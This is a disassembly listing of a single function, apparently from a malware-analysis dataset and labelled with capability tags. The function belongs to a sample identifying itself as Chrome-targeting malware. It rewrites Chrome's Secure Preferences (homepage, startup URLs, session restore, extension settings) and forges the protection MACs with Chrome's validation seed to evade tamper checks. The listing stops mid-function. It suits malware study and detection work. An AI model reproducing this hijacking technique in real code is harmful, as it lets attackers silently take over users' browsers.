Function at 0x1001aa04
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push 0x230
mov eax, 0x101084df
call fcn.100c7e75
mov esi, ecx
mov dword [ebp - 0x1d4], esi
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x1dc]
push dword [esi + 4]
mov dword [ebp - 0x1c4], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1d8], eax
call fcn.10002047
and dword [ebp - 4], 0
lea edi, [ebp - 0x1a8]
push 0xa
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
push str.shared::malware::GoogleChrome::BrowserServiceConfigure
lea ecx, [ebp - 0x120]
call fcn.10001c43
lea eax, [ebp - 0x120]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x1a8]
call fcn.10014988
push 3
pop eax
lea ecx, [ebp - 0x120]
mov byte [ebp - 4], al
call fcn.10002013
push 0x38
lea eax, [ebp - 0x60]
push 0
push eax
call fcn.100c95b0
lea ecx, [ebp - 0x60]
call fcn.10002dc4
push 4
pop eax
mov byte [ebp - 4], al
lea edi, [esi + 0x1bdc]
lea eax, [ebp - 0x1c8]
mov dword [ebp - 0x1c8], 0xe0
push eax
mov edx, edi
lea ecx, [ebp - 0x180]
call fcn.10012bcf
pop ecx
mov byte [ebp - 4], 5
mov ecx, dword [esi + 0x1ba0]
call fcn.10028bfd
cmp dword [eax], 5
mov eax, dword [0x1015f5c4]
jne 0x1001aae1
add eax, 0x10
jmp 0x1001aae4
add eax, 0x28
xor ecx, ecx
mov dword [ebp - 0x108], ecx
mov dword [ebp - 0xf8], ecx
mov dword [ebp - 0xf4], ecx
lea ecx, [ebp - 0x108]
push eax
call fcn.100147f1
mov byte [ebp - 4], 6
cmp dword [ebp - 0x170], 0
jne 0x1001ab4c
push ecx
push ecx
mov eax, esp
lea ecx, [ebp - 0x1f4]
mov edx, edi
mov dword [eax], str.Secure_Preferences_file___is_empty.
mov dword [eax + 4], 0x25
call fcn.100159e6
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 4], 7
call fcn.10013c14
lea ecx, [ebp - 0x1f4]
jmp 0x1001c01c
cmp dword [ebp - 0x16c], 0x10
lea eax, [ebp - 0x180]
push dword [ebp - 0x170]
cmovae eax, dword [ebp - 0x180]
lea ecx, [ebp - 0x60]
push eax
call fcn.1000364e
cmp dword [eax + 0x30], 0
jne 0x1001bfe8
push str.extensions
lea ecx, [ebp - 0x60]
call fcn.100012fe
test al, al
je 0x1001bfe8
push str.protection
lea ecx, [ebp - 0x60]
call fcn.100012fe
test al, al
je 0x1001bfe8
push str.protection
lea ecx, [ebp - 0x60]
call fcn.1000327b
push str.macs
mov ecx, eax
call fcn.100012fe
test al, al
je 0x1001bfe8
push str.protection
lea ecx, [ebp - 0x60]
call fcn.1000327b
push str.super_mac
mov ecx, eax
call fcn.100012fe
test al, al
je 0x1001bfe8
mov eax, dword [ebp - 0x1d8]
cmp dword [eax + 0x10], 0
je 0x1001b429
cmp byte [esi + 0x1054], 0
je 0x1001b429
cmp byte [esi + 0x125c], 0
je 0x1001b429
cmp byte [esi + 0x1158], 0
je 0x1001b429
mov esi, str.browser
lea ecx, [ebp - 0x60]
push esi
call fcn.100012fe
mov edi, str.show_home_button
test al, al
je 0x1001ac5b
push esi
lea ecx, [ebp - 0x60]
call fcn.1000327b
push edi
mov ecx, eax
call fcn.100012fe
test al, al
je 0x1001ac99
push esi
lea ecx, [ebp - 0x60]
call fcn.1000327b
push edi
mov ecx, eax
call fcn.100014f9
jmp 0x1001ac99
mov esi, dword [ebp - 0x50]
lea edi, [ebp - 0x20]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov word [ebp - 0x12], ax
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 9
call fcn.1001e98c
push ecx
push ecx
mov ecx, esp
push esi
push eax
mov dword [ecx], str.browser
mov dword [ecx + 4], 7
lea ecx, [ebp - 0x60]
call fcn.10002e3e
mov esi, str.browser
push esi
lea ecx, [ebp - 0x60]
call fcn.1000327b
mov esi, dword [ebp - 0x50]
lea edi, [ebp - 0x20]
mov dword [ebp - 0x1c8], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov word [ebp - 0x12], ax
push 1
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0xa
call fcn.10002e85
push ecx
push ecx
mov ecx, esp
push esi
push eax
mov dword [ecx], str.show_home_button
mov dword [ecx + 4], 0x10
mov ecx, dword [ebp - 0x1c8]
call fcn.10002e3e
mov esi, str.homepage_is_newtabpage
lea ecx, [ebp - 0x60]
push esi
call fcn.100012fe
test al, al
je 0x1001ad01
push esi
lea ecx, [ebp - 0x60]
call fcn.100014f9
mov esi, dword [ebp - 0x50]
lea edi, [ebp - 0x20]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov word [ebp - 0x12], ax
push eax
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0xb
call fcn.10002e85
push ecx
push ecx
mov ecx, esp
push esi
push eax
mov dword [ecx], str.homepage_is_newtabpage
mov dword [ecx + 4], 0x16
lea ecx, [ebp - 0x60]
call fcn.10002e3e
mov esi, str.homepage
lea ecx, [ebp - 0x60]
push esi
call fcn.100012fe
test al, al
je 0x1001ad56
push esi
lea ecx, [ebp - 0x60]
call fcn.100014f9
mov esi, dword [ebp - 0x50]
lea edi, [ebp - 0x20]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov word [ebp - 0x12], ax
mov eax, dword [ebp - 0x1d8]
mov byte [ebp - 4], 0xc
cmp dword [eax + 0x14], 0x10
jb 0x1001ad7a
mov eax, dword [eax]
push esi
push eax
lea ecx, [ebp - 0x20]
call fcn.10001744
push ecx
push ecx
mov ecx, esp
push esi
push eax
mov dword [ecx], str.homepage
mov dword [ecx + 4], 8
lea ecx, [ebp - 0x60]
call fcn.10002e3e
push str.browser
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 6
call fcn.1000327b
push str.show_home_button
mov ecx, eax
call fcn.1000327b
mov edx, eax
lea ecx, [ebp - 0x28]
call fcn.1000ffd2
mov esi, eax
push str.browser.show_home_button
lea edx, [ebp - 0x108]
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x1f4]
call fcn.100235f8
pop ecx
push esi
push eax
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x120]
push dword [ebp - 0x1cc]
call fcn.10023649
lea ecx, [ebp - 0x1f4]
call fcn.10002013
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x11
call fcn.10002013
mov edi, str.homepage_is_newtabpage
lea ecx, [ebp - 0x60]
push edi
call fcn.1000327b
mov edx, eax
lea ecx, [ebp - 0x224]
call fcn.1000ffd2
mov esi, eax
push edi
lea edx, [ebp - 0x108]
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x23c]
call fcn.100235f8
pop ecx
push esi
push eax
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x150]
push dword [ebp - 0x1cc]
call fcn.10023649
lea ecx, [ebp - 0x23c]
call fcn.10002013
lea ecx, [ebp - 0x224]
mov byte [ebp - 4], 0x16
call fcn.10002013
mov edi, str.homepage
lea ecx, [ebp - 0x60]
push edi
call fcn.1000327b
mov edx, eax
lea ecx, [ebp - 0x28]
call fcn.1000ffd2
mov esi, eax
push edi
lea edx, [ebp - 0x108]
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x1f4]
call fcn.100235f8
pop ecx
push 0x18
pop ecx
push esi
mov byte [ebp - 4], cl
lea ecx, [ebp - 0xd8]
push eax
push dword [ebp - 0x1cc]
call fcn.10023649
lea ecx, [ebp - 0x1f4]
call fcn.10002013
lea ecx, [ebp - 0x28]
call fcn.10002013
xor eax, eax
mov dword [ebp - 0xf0], eax
push 0xf
pop ecx
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], ecx
mov byte [ebp - 0xf0], al
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], ecx
mov byte [ebp - 0xc0], al
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], ecx
mov byte [ebp - 0x90], al
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], ecx
mov byte [ebp - 0xa8], al
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], ecx
mov byte [ebp - 0x138], al
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], ecx
mov byte [ebp - 0x78], al
push 0x26
pop edi
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 0x27
push eax
lea eax, [ebp - 0x1c8]
mov dword [ebp - 0x1c8], edi
push eax
mov edx, str.ChromeRegistryHashStoreValidationSeed
lea ecx, [ebp - 0x120]
call fcn.10029a23
mov esi, dword [ebp - 0x1d4]
pop ecx
pop ecx
mov ecx, esi
call fcn.1002d65a
mov dword [ebp - 0x1c8], eax
mov ecx, esi
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x1c8]
push eax
call fcn.1002d62e
mov edx, eax
lea ecx, [ebp - 0x120]
call fcn.10029a23
lea eax, [ebp - 0xc0]
mov dword [ebp - 0x1c8], edi
push eax
lea eax, [ebp - 0x1c8]
mov edx, str.ChromeRegistryHashStoreValidationSeed
push eax
lea ecx, [ebp - 0x150]
call fcn.10029a23
add esp, 0x10
mov ecx, esi
call fcn.1002d65a
mov dword [ebp - 0x1c8], eax
mov ecx, esi
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0x1c8]
push eax
call fcn.1002d62e
mov edx, eax
lea ecx, [ebp - 0x150]
call fcn.10029a23
lea eax, [ebp - 0x90]
mov dword [ebp - 0x1c8], edi
push eax
lea eax, [ebp - 0x1c8]
mov edx, str.ChromeRegistryHashStoreValidationSeed
push eax
lea ecx, [ebp - 0xd8]
call fcn.10029a23
add esp, 0x10
mov ecx, esi
call fcn.1002d65a
mov dword [ebp - 0x1c8], eax
mov ecx, esi
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x1c8]
push eax
call fcn.1002d62e
mov edx, eax
lea ecx, [ebp - 0xd8]
call fcn.10029a23
pop ecx
pop ecx
xor edi, edi
lea eax, [esi + 0x1054]
inc edi
lea ecx, [ebp - 0x28]
push eax
mov dword [ebp - 0x1c8], edi
call fcn.10001c43
lea eax, [ebp - 0x90]
mov byte [ebp - 4], 0x28
push eax
lea edx, [ebp - 0x1c8]
lea ecx, [ebp - 0x28]
call fcn.1001605e
pop ecx
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x27
call fcn.10002013
lea eax, [esi + 0x125c]
mov dword [ebp - 0x1c8], edi
push eax
lea ecx, [ebp - 0x28]
call fcn.10001c43
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 0x29
push eax
lea edx, [ebp - 0x1c8]
lea ecx, [ebp - 0x28]
call fcn.1001605e
pop ecx
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x27
call fcn.10002013
lea eax, [esi + 0x1158]
mov dword [ebp - 0x1c8], edi
push eax
lea ecx, [ebp - 0x28]
call fcn.10001c43
lea eax, [ebp - 0xc0]
mov byte [ebp - 4], 0x2a
push eax
lea edx, [ebp - 0x1c8]
lea ecx, [ebp - 0x28]
call fcn.1001605e
pop ecx
lea ecx, [ebp - 0x28]
call fcn.10002013
mov esi, str.protection
lea ecx, [ebp - 0x60]
push esi
call fcn.1000327b
mov edi, str.macs
mov ecx, eax
push edi
call fcn.1000327b
push str.browser
mov ecx, eax
call fcn.100012fe
lea ecx, [ebp - 0x60]
push esi
test al, al
je 0x1001b19a
call fcn.1000327b
push edi
mov ecx, eax
call fcn.1000327b
push str.browser
mov ecx, eax
call fcn.1000327b
push str.show_home_button
mov ecx, eax
call fcn.100012fe
test al, al
je 0x1001b1f3
push esi
lea ecx, [ebp - 0x60]
call fcn.1000327b
push edi
mov ecx, eax
call fcn.1000327b
push str.browser
mov ecx, eax
call fcn.1000327b
push str.show_home_button
mov ecx, eax
call fcn.100014f9
jmp 0x1001b1f3
call fcn.1000327b
push edi
mov ecx, eax
call fcn.1000327b
mov esi, dword [ebp - 0x50]
lea edi, [ebp - 0x20]
mov dword [ebp - 0x1c8], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov word [ebp - 0x12], ax
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x2b
call fcn.1001e98c
push ecx
push ecx
mov ecx, esp
push esi
push eax
mov dword [ecx], str.browser
mov dword [ecx + 4], 7
mov ecx, dword [ebp - 0x1c8]
call fcn.10002e3e
mov esi, str.protection
mov edi, str.macs
push esi
lea ecx, [ebp - 0x60]
call fcn.1000327b
push edi
mov ecx, eax
call fcn.1000327b
push str.browser
mov ecx, eax
call fcn.1000327b
mov esi, dword [ebp - 0x50]
lea edi, [ebp - 0x20]
mov dword [ebp - 0x1c8], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov word [ebp - 0x12], ax
push 0x10
pop edi
mov byte [ebp - 4], 0x2c
lea eax, [ebp - 0xa8]
cmp dword [ebp - 0x94], edi
lea ecx, [ebp - 0x20]
push esi
cmovae eax, dword [ebp - 0xa8]
push eax
call fcn.10001744
push ecx
push ecx
mov ecx, esp
push esi
push eax
mov dword [ecx], str.show_home_button
mov dword [ecx + 4], edi
mov ecx, dword [ebp - 0x1c8]
call fcn.10002e3e
mov esi, str.protection
lea ecx, [ebp - 0x60]
push esi
call fcn.1000327b
mov edi, str.macs
mov ecx, eax
push edi
call fcn.1000327b
push str.homepage_is_newtabpage
mov ecx, eax
call fcn.100012fe
test al, al
je 0x1001b2ae
push esi
lea ecx, [ebp - 0x60]
call fcn.1000327b
push edi
mov ecx, eax
call fcn.1000327b
push str.homepage_is_newtabpage
mov ecx, eax
call fcn.100014f9
push esi
lea ecx, [ebp - 0x60]
call fcn.1000327b
push edi
mov ecx, eax
call fcn.1000327b
mov esi, dword [ebp - 0x50]
lea edi, [ebp - 0x20]
mov dword [ebp - 0x1c8], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov word [ebp - 0x12], ax
mov byte [ebp - 4], 0x2d
lea eax, [ebp - 0x138]
cmp dword [ebp - 0x124], 0x10
lea ecx, [ebp - 0x20]
push esi
cmovae eax, dword [ebp - 0x138]
push eax
call fcn.10001744
push ecx
push ecx
mov ecx, esp
push esi
push eax
mov dword [ecx], str.homepage_is_newtabpage
mov dword [ecx + 4], 0x16
mov ecx, dword [ebp - 0x1c8]
call fcn.10002e3e
mov esi, str.protection
lea ecx, [ebp - 0x60]
push esi
call fcn.1000327b
mov edi, str.macs
mov ecx, eax
push edi
call fcn.1000327b
push str.homepage
mov ecx, eax
call fcn.100012fe
test al, al
je 0x1001b35f
push esi
lea ecx, [ebp - 0x60]
call fcn.1000327b
push edi
mov ecx, eax
call fcn.1000327b
push str.homepage
mov ecx, eax
call fcn.100014f9
push esi
lea ecx, [ebp - 0x60]
call fcn.1000327b
push edi
mov ecx, eax
call fcn.1000327b
mov esi, dword [ebp - 0x50]
lea edi, [ebp - 0x20]
mov dword [ebp - 0x1c8], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov word [ebp - 0x12], ax
mov byte [ebp - 4], 0x2e
lea eax, [ebp - 0x78]
cmp dword [ebp - 0x64], 0x10
lea ecx, [ebp - 0x20]
push esi
cmovae eax, dword [ebp - 0x78]
push eax
call fcn.10001744
push ecx
push ecx
mov ecx, esp
push esi
push eax
mov dword [ecx], str.homepage
mov dword [ecx + 4], 8
mov ecx, dword [ebp - 0x1c8]
call fcn.10002e3e
lea ecx, [ebp - 0x78]
call fcn.10002013
lea ecx, [ebp - 0x138]
call fcn.10002013
lea ecx, [ebp - 0xa8]
call fcn.10002013
lea ecx, [ebp - 0x90]
call fcn.10002013
lea ecx, [ebp - 0xc0]
call fcn.10002013
lea ecx, [ebp - 0xf0]
call fcn.10002013
lea ecx, [ebp - 0xd8]
call fcn.10002013
lea ecx, [ebp - 0x150]
call fcn.10002013
lea ecx, [ebp - 0x120]
mov byte [ebp - 4], 6
call fcn.10002013
mov esi, dword [ebp - 0x1d4]
push dword [ebp - 0x1c4]
xor eax, eax
lea edi, [ebp - 0x9c]
stosd dword es:[edi], eax
lea ecx, [ebp - 0x9c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.1001e88f
mov byte [ebp - 4], 0x2f
mov ecx, dword [ebp - 0x9c]
cmp ecx, dword [ebp - 0x98]
jne 0x1001b46b
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 6
call fcn.1001828e
jmp 0x1001ba07
push dword [ebp - 0x1cc]
mov eax, dword [ebp - 0x98]
sub eax, ecx
push 0x18
cdq
pop edi
idiv edi
mov edx, dword [ebp - 0x98]
push eax
call fcn.1001f097
lea eax, [esi + 0xf50]
pop ecx
pop ecx
test eax, eax
je 0x1001b457
lea eax, [esi + 0xe4c]
test eax, eax
je 0x1001b457
xor eax, eax
lea edi, [ebp - 0x130]
stosd dword es:[edi], eax
push 4
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
pop eax
mov word [ebp - 0x122], ax
mov ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x1d8], ecx
cmp ecx, dword [ebp - 0x98]
je 0x1001b52e
mov esi, dword [ebp - 0x98]
mov edx, dword [ebp - 0x50]
lea edi, [ebp - 0x70]
xor eax, eax
mov dword [ebp - 0x1c4], edx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov word [ebp - 0x62], ax
mov byte [ebp - 4], 0x31
mov eax, ecx
cmp dword [ecx + 0x14], 0x10
jb 0x1001b4f7
mov eax, dword [ecx]
push edx
push eax
lea ecx, [ebp - 0x70]
call fcn.10001744
push dword [ebp - 0x1c4]
lea ecx, [ebp - 0x130]
push eax
call fcn.10022731
mov ecx, dword [ebp - 0x1d8]
push 0x18
pop eax
add ecx, eax
mov dword [ebp - 0x1d8], ecx
cmp ecx, esi
jne 0x1001b4d1
mov esi, dword [ebp - 0x1d4]
cmp dword [ebp - 0x130], 0
je 0x1001b457
mov esi, str.session
lea ecx, [ebp - 0x60]
push esi
call fcn.100012fe
test al, al
je 0x1001b556
push esi
lea ecx, [ebp - 0x60]
call fcn.100014f9
mov esi, dword [ebp - 0x50]
lea edi, [ebp - 0x70]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov word [ebp - 0x62], ax
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0x32
call fcn.1001e98c
push ecx
push ecx
mov ecx, esp
mov edi, str.session
push esi
push eax
mov dword [ecx], edi
mov dword [ecx + 4], 7
lea ecx, [ebp - 0x60]
call fcn.10002e3e
push edi
lea ecx, [ebp - 0x60]
call fcn.1000327b
mov esi, dword [ebp - 0x50]
lea edi, [ebp - 0x70]
mov dword [ebp - 0x1c4], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov word [ebp - 0x62], ax
push 4
pop eax
push eax
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0x33
call fcn.1001e956
push ecx
push ecx
mov ecx, esp
push esi
push eax
mov dword [ecx], str.restore_on_startup
mov dword [ecx + 4], 0x12
mov ecx, dword [ebp - 0x1c4]
call fcn.10002e3e
mov edi, str.session
mov byte [ebp - 4], 0x30
push edi
lea ecx, [ebp - 0x60]
call fcn.1000327b
mov edx, dword [ebp - 0x50]
push ecx
push ecx
mov ecx, esp
push edx
mov dword [ecx], str.startup_urls
mov dword [ecx + 4], 0xc
lea ecx, [ebp - 0x130]
push ecx
mov ecx, eax
call fcn.10002e3e
push edi
lea ecx, [ebp - 0x60]
call fcn.1000327b
push str.restore_on_startup
mov ecx, eax
call fcn.1000327b
mov edx, eax
lea ecx, [ebp - 0x23c]
call fcn.1000ffd2
mov esi, eax
mov byte [ebp - 4], 0x34
push str.session.restore_on_startup
lea edx, [ebp - 0x108]
lea ecx, [ebp - 0x224]
call fcn.100235f8
pop ecx
push esi
push eax
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x150]
push dword [ebp - 0x1cc]
call fcn.10023649
lea ecx, [ebp - 0x224]
call fcn.10002013
lea ecx, [ebp - 0x23c]
mov byte [ebp - 4], 0x38
call fcn.10002013
push edi
lea ecx, [ebp - 0x60]
call fcn.1000327b
push str.startup_urls
mov ecx, eax
call fcn.1000327b
mov edx, eax
lea ecx, [ebp - 0x20c]
call fcn.1000ffd2
mov esi, eax
push str.session.startup_urls
lea edx, [ebp - 0x108]
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x78]
call fcn.100235f8
pop ecx
push esi
push eax
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x120]
push dword [ebp - 0x1cc]
call fcn.10023649
lea ecx, [ebp - 0x78]
call fcn.10002013
lea ecx, [ebp - 0x20c]
call fcn.10002013
xor eax, eax
mov dword [ebp - 0xd8], eax
push 0xf
pop ecx
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], ecx
mov byte [ebp - 0xd8], al
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], ecx
mov byte [ebp - 0xf0], al
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], ecx
mov byte [ebp - 0x90], al
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], ecx
mov byte [ebp - 0xc0], al
mov esi, dword [ebp - 0x1d4]
mov ecx, esi
mov byte [ebp - 4], 0x45
call fcn.1002d65a
mov dword [ebp - 0x1c4], eax
mov ecx, esi
lea eax, [ebp - 0xc0]
push eax
lea eax, [ebp - 0x1c4]
push eax
call fcn.1002d62e
mov edx, eax
lea ecx, [ebp - 0x150]
call fcn.10029a23
push 0x26
pop edi
lea eax, [ebp - 0xd8]
mov dword [ebp - 0x1c4], edi
push eax
lea eax, [ebp - 0x1c4]
mov edx, str.ChromeRegistryHashStoreValidationSeed
push eax
lea ecx, [ebp - 0x150]
call fcn.10029a23
add esp, 0x10
mov ecx, esi
call fcn.1002d65a
mov dword [ebp - 0x1c4], eax
mov ecx, esi
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x1c4]
push eax
call fcn.1002d62e
mov edx, eax
lea ecx, [ebp - 0x120]
call fcn.10029a23
lea eax, [ebp - 0xf0]
mov dword [ebp - 0x1c4], edi
push eax
lea eax, [ebp - 0x1c4]
mov edx, str.ChromeRegistryHashStoreValidationSeed
push eax
lea ecx, [ebp - 0x120]
call fcn.10029a23
add esp, 0x10
lea eax, [esi + 0xe4c]
xor edi, edi
lea ecx, [ebp - 0x78]
inc edi
mov dword [ebp - 0x1c4], edi
push eax
call fcn.10001c43
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 0x46
push eax
lea edx, [ebp - 0x1c4]
lea ecx, [ebp - 0x78]
call fcn.1001605e
pop ecx
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 0x45
call fcn.10002013
lea eax, [esi + 0xf50]
mov dword [ebp - 0x1c4], edi
push eax
lea ecx, [ebp - 0x1f4]
call fcn.10001c43
lea eax, [ebp - 0xd8]
mov byte [ebp - 4], 0x47
push eax
lea edx, [ebp - 0x1c4]
lea ecx, [ebp - 0x1f4]
call fcn.1001605e
pop ecx
lea ecx, [ebp - 0x1f4]
call fcn.10002013
mov esi, str.protection
lea ecx, [ebp - 0x60]
push esi
call fcn.1000327b
mov edi, str.macs
push edi
mov ecx, eax
call fcn.1000327b
push str.session
mov ecx, eax
call fcn.100012fe
test al, al
je 0x1001b8c8
push esi
lea ecx, [ebp - 0x60]
call fcn.1000327b
push edi
mov ecx, eax
call fcn.1000327b
push str.session
mov ecx, eax
call fcn.100014f9
xor eax, eax
lea edi, [ebp - 0x20]
stosd dword es:[edi], eax
push 3
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
pop eax
mov word [ebp - 0x12], ax
mov esi, dword [ebp - 0x50]
lea edi, [ebp - 0x70]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov word [ebp - 0x62], ax
mov byte [ebp - 4], 0x49
lea eax, [ebp - 0xc0]
cmp dword [ebp - 0xac], 0x10
lea ecx, [ebp - 0x70]
push esi
cmovae eax, dword [ebp - 0xc0]
push eax
call fcn.10001744
push ecx
push ecx
mov ecx, esp
push esi
push eax
mov dword [ecx], str.restore_on_startup
mov dword [ecx + 4], 0x12
lea ecx, [ebp - 0x20]
call fcn.10002e3e
mov esi, dword [ebp - 0x50]
lea edi, [ebp - 0x70]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov word [ebp - 0x62], ax
mov byte [ebp - 4], 0x4a
lea eax, [ebp - 0x90]
cmp dword [ebp - 0x7c], 0x10
lea ecx, [ebp - 0x70]
push esi
cmovae eax, dword [ebp - 0x90]
push eax
call fcn.10001744
push ecx
push ecx
mov ecx, esp
push esi
push eax
mov dword [ecx], str.startup_urls
mov dword [ecx + 4], 0xc
lea ecx, [ebp - 0x20]
call fcn.10002e3e
push str.protection
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x48
call fcn.1000327b
push str.macs
mov ecx, eax
call fcn.1000327b
mov edx, dword [ebp - 0x50]
push ecx
push ecx
mov ecx, esp
push edx
mov dword [ecx], str.session
mov dword [ecx + 4], 7
lea ecx, [ebp - 0x20]
push ecx
mov ecx, eax
call fcn.10002e3e
lea ecx, [ebp - 0xc0]
call fcn.10002013
lea ecx, [ebp - 0x90]
call fcn.10002013
lea ecx, [ebp - 0xf0]
call fcn.10002013
lea ecx, [ebp - 0xd8]
call fcn.10002013
lea ecx, [ebp - 0x120]
call fcn.10002013
lea ecx, [ebp - 0x150]
call fcn.10002013
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 6
call fcn.1001828e
mov esi, dword [ebp - 0x1d4]
lea eax, [ebp - 0x1cd]
mov byte [ebp - 0x1cd], 0
lea edx, [ebp - 0x60]
push eax
mov ecx, edx
call fcn.10022fbe
cmp byte [esi + 0x1360], 0
pop ecx
je 0x1001bed6
mov edi, str.extensions
lea ecx, [ebp - 0x60]
push edi
call fcn.100012fe
test al, al
je 0x1001bed6
push edi
lea ecx, [ebp - 0x60]
call fcn.1000327b
push str.settings
mov ecx, eax
call fcn.100012fe
test al, al
je 0x1001bed6
push str.protection
lea ecx, [ebp - 0x60]
call fcn.1000327b
push str.macs
mov ecx, eax
call fcn.1000327b
push edi
mov ecx, eax
call fcn.100012fe
test al, al
je 0x1001bed6
push str.protection
lea ecx, [ebp - 0x60]
call fcn.1000327b
push str.macs
mov ecx, eax
call fcn.1000327b
push edi
mov ecx, eax
call fcn.1000327b
push str.settings
mov ecx, eax
call fcn.100012fe
test al, al
je 0x1001bed6
push str.protection
lea ecx, [ebp - 0x60]
call fcn.1000327b
push str.macs
mov ecx, eax
call fcn.1000327b
push edi
mov ecx, eax
call fcn.1000327b
push str.settings
mov ecx, eax
call fcn.1000327b
push str.protection
lea ecx, [ebp - 0x60]
mov esi, dword [eax + 8]
call fcn.1000327b
push str.macs
mov ecx, eax
call fcn.1000327b
jmp 0x1001beac
push edi
lea ecx, [ebp - 0x60]
call fcn.1000327b
push str.settings
mov ecx, eax
call fcn.1000327b
mov edi, eax
lea eax, [ebp - 0x1cc]
push esi
push eax
mov ecx, edi
call fcn.10001385
mov ecx, dword [edi]
shl ecx, 5
add ecx, dword [edi + 8]
cmp dword [eax], ecx
je 0x1001bed0
mov ax, word [esi + 0x1e]
shr ax, 0xa
test al, 1
je 0x1001bed0
mov edi, str.extensions
lea ecx, [ebp - 0x60]
push edi
call fcn.1000327b
push str.settings
mov ecx, eax
call fcn.1000327b
push esi
mov ecx, eax
call fcn.100035f8
push 3
pop ecx
cmp word [eax + 0xe], cx
jne 0x1001bed0
mov ax, word [esi + 0xe]
shr ax, 0xa
test al, 1
je 0x1001bed0
mov ecx, esi
call fcn.1000136a
test eax, eax
je 0x1001bed0
push edi
lea ecx, [ebp - 0x60]
call fcn.1000327b
push str.settings
mov ecx, eax
call fcn.1000327b
push str.extensions
lea ecx, [ebp - 0x60]
mov edi, eax
call fcn.1000327b
push str.settings
mov ecx, eax
call fcn.1000327b
push esi
mov ecx, eax
call fcn.100035f8
mov edx, edi
mov ecx, eax
call fcn.10021f55
mov edi, str.extensions
lea ecx, [ebp - 0x60]
push edi
call fcn.1000327b
push str.settings
mov ecx, eax
call fcn.1000327b
push esi
mov ecx, eax
call fcn.100035f8
mov edx, eax
